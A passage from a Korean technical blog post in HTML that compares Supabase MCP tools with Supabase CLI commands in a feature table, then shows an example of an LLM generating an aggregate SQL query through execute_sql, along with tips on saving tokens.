&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;마이그레이션 압축 (squash)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase migration squash&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;DDL/DML 분리 관리&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✔ apply_migration vs execute_sql&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 수동으로 구분&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;DB 테스트 (pgTAP)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase test db&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;DB 린트&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음 (get_advisors와 다름)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase db lint&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- 로컬 개발 환경 --&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;로컬 개발 환경&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;로컬 전체 스택 구동&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음 (CLI 로컬 MCP는 제한적)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase start (Docker)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;로컬 Studio (GUI)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✔ localhost:54323&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;원격 프로젝트 링크&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;project_ref URL 파라미터&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase link&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;DB 성능 분석 (inspect)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase inspect db (bloat, locks, outliers 등 13개 서브커맨드)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- Edge Functions --&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;Edge Functions&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;Edge Function 목록&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;list_edge_functions&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase functions list&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;Edge Function 배포&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;deploy_edge_function&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase functions deploy&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;Edge Function 로컬 실행&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase functions serve&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #28a745; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;CLI&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- 타입 생성 &amp; 코드 연동 --&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;타입 생성 &amp;amp; 코드 연동&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;TypeScript 타입 생성&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;generate_typescript_types&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase gen types --lang typescript&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;프로젝트 URL 조회&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;get_project_url&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase status&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;API 키 조회&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;get_publishable_keys&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase status (로컬) / supabase projects api-keys (원격)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;동등&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- 문서 &amp; 어드바이저 --&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;문서 &amp;amp; 어드바이저&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;문서 검색&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;search_docs&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;보안/성능 어드바이저&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;get_advisors (보안/성능 어드바이저)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음 (db lint와 다른 영역)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;로그 조회&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;get_logs (api/postgres/edge functions/auth/storage/realtime)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음 (대시보드에서만)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;!-- 프로젝트 관리 --&gt;
&lt;tr style=&quot;background-color: #eaf3ff;&quot;&gt;
&lt;td style=&quot;padding: 8px 12px; border: 1px solid #dee2e6; font-weight: bold; color: #1a3a52; font-size: 12px; text-transform: uppercase; letter-spacing: 0.5px;&quot; colspan=&quot;4&quot;&gt;프로젝트 관리&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;프로젝트 생성&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;create_project&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase projects create&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;프로젝트 목록&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;list_projects&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase projects list&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;프로젝트 일시정지/재개&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;pause_project / restore_project&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음 (대시보드에서만)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;인증 사용자 목록&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;execute_sql로 auth.users 조회&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;✘ 없음 (대시보드에서만)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr style=&quot;background-color: #f8f9fa;&quot;&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;스토리지 버킷 목록&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;list_storage_buckets (features=storage 필요)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase storage ls (객체 단위)&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #0066cc; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;MCP&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6;&quot;&gt;DB 브랜치 관리&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;create/list/merge/delete/reset/rebase_branch&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;supabase branches&lt;/td&gt;
&lt;td style=&quot;padding: 9px 12px; border: 1px solid #dee2e6; text-align: center;&quot;&gt;&lt;span style=&quot;background-color: #6c757d; color: white; padding: 2px 8px; border-radius: 12px; font-size: 11px; font-weight: 600;&quot;&gt;동등&lt;/span&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size8&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 3. 기능별 상세 비교 --&gt;
&lt;h2 style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. 기능별 상세 비교&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 데이터베이스 쿼리 실행&lt;/h3&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;SQL 실행에서 두 도구의 차이가 제일 명확하게 갈린다. &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt; 한 번이면 LLM이 현재 스키마를 파악하고, 적절한 SQL을 작성하여 바로 실행한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #1e1e1e; color: #d4d4d4; padding: 16px; border-radius: 8px; font-family: 'Fira Code', 'Consolas', monospace; font-size: 13px; border: 1px solid #333; margin: 15px 0; overflow-x: auto;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// MCP 방식: 자연어로 요청&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #569cd6;&quot;&gt;&quot;최근 7일간 이벤트 타입별 알림 건수를 일별로 보여줘&quot;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;// LLM이 자동으로 생성하는 SQL:&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;SELECT&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;date_trunc&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'day'&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;, event_at)::&lt;/span&gt;&lt;span style=&quot;color: #4ec9b0;&quot;&gt;date&lt;/span&gt; &lt;span style=&quot;color: #c586c0;&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; day,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;(*) &lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; total_count,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;(*) &lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;FILTER&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;WHERE&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; event_type = &lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'PRICE_SPIKE'&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; price_spike,&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;count&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;(*) &lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;FILTER&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; (&lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;WHERE&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; event_type = &lt;/span&gt;&lt;span style=&quot;color: #ce9178;&quot;&gt;'NEW_DISCLOSURE'&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;) &lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;AS&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; new_disclosure&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;FROM&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; public.alert_events&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;WHERE&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; event_at &amp;gt;= &lt;/span&gt;&lt;span style=&quot;color: #dcdcaa;&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt;() - &lt;/span&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;interval&lt;/span&gt; &lt;span style=&quot;color: #ce9178;&quot;&gt;'7 days'&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;GROUP BY&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; day&lt;/span&gt;&lt;br /&gt;&lt;span style=&quot;color: #c586c0;&quot;&gt;ORDER BY&lt;/span&gt;&lt;span style=&quot;color: #d4d4d4;&quot;&gt; day;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;&lt;span style=&quot;color: #6a9955;&quot;&gt;ex)&amp;nbsp;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1800&quot; data-origin-height=&quot;738&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/E5CAZ/dJMcab4xMCh/xLn1yhU6woRRbwg1hldcKK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/E5CAZ/dJMcab4xMCh/xLn1yhU6woRRbwg1hldcKK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/E5CAZ/dJMcab4xMCh/xLn1yhU6woRRbwg1hldcKK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FE5CAZ%2FdJMcab4xMCh%2FxLn1yhU6woRRbwg1hldcKK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1800&quot; height=&quot;738&quot; data-origin-width=&quot;1800&quot; data-origin-height=&quot;738&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/div&gt;
&lt;p style=&quot;margin-bottom: 15px;&quot; data-ke-size=&quot;size16&quot;&gt;CLI에서는 동일한 작업을 하려면 직접 SQL을 작성하고 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;psql&lt;/code&gt;이나 Supabase 대시보드에서 실행해야 한다. Claude Code에서 Bash로 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;psql&lt;/code&gt;을 호출할 수 있지만, 연결 문자열 설정이 필요하고 MCP만큼 매끄럽지 않다.&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;&lt;b&gt;토큰 효율성 주의&lt;/b&gt;&lt;br /&gt;Supabase MCP는 HTTP Remote MCP로 동작하므로 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;execute_sql&lt;/code&gt; 결과 전체가 LLM의 context window에 포함된다. 수백~수천 행을 반환하는 쿼리를 반복적으로 실행하면 토큰 소모가 급격히 증가해 비용 부담으로 이어질 수 있다.&lt;br /&gt;&lt;br /&gt;&lt;b&gt;권장 패턴:&lt;/b&gt;
&lt;ul style=&quot;margin: 8px 0 0 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;조회 시 항상 &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;LIMIT&lt;/code&gt;을 명시한다. 예: &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;SELECT ... LIMIT 20&lt;/code&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;전체 행 대신 집계 쿼리(&lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;COUNT, AVG, SUM&lt;/code&gt;)를 활용한다.&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 4px;&quot;&gt;대량 데이터 분석이 필요할 때는 MCP 대신 CLI + &lt;code style=&quot;background: #f0f0f0; padding: 2px 6px; border-radius: 4px;&quot;&gt;psql&lt;/code&gt;을 사용한다.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;p style=&quot;color: #333333;&quot; data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 스키마 변경 &amp;amp; 마이그레이션&lt;/h3&gt;
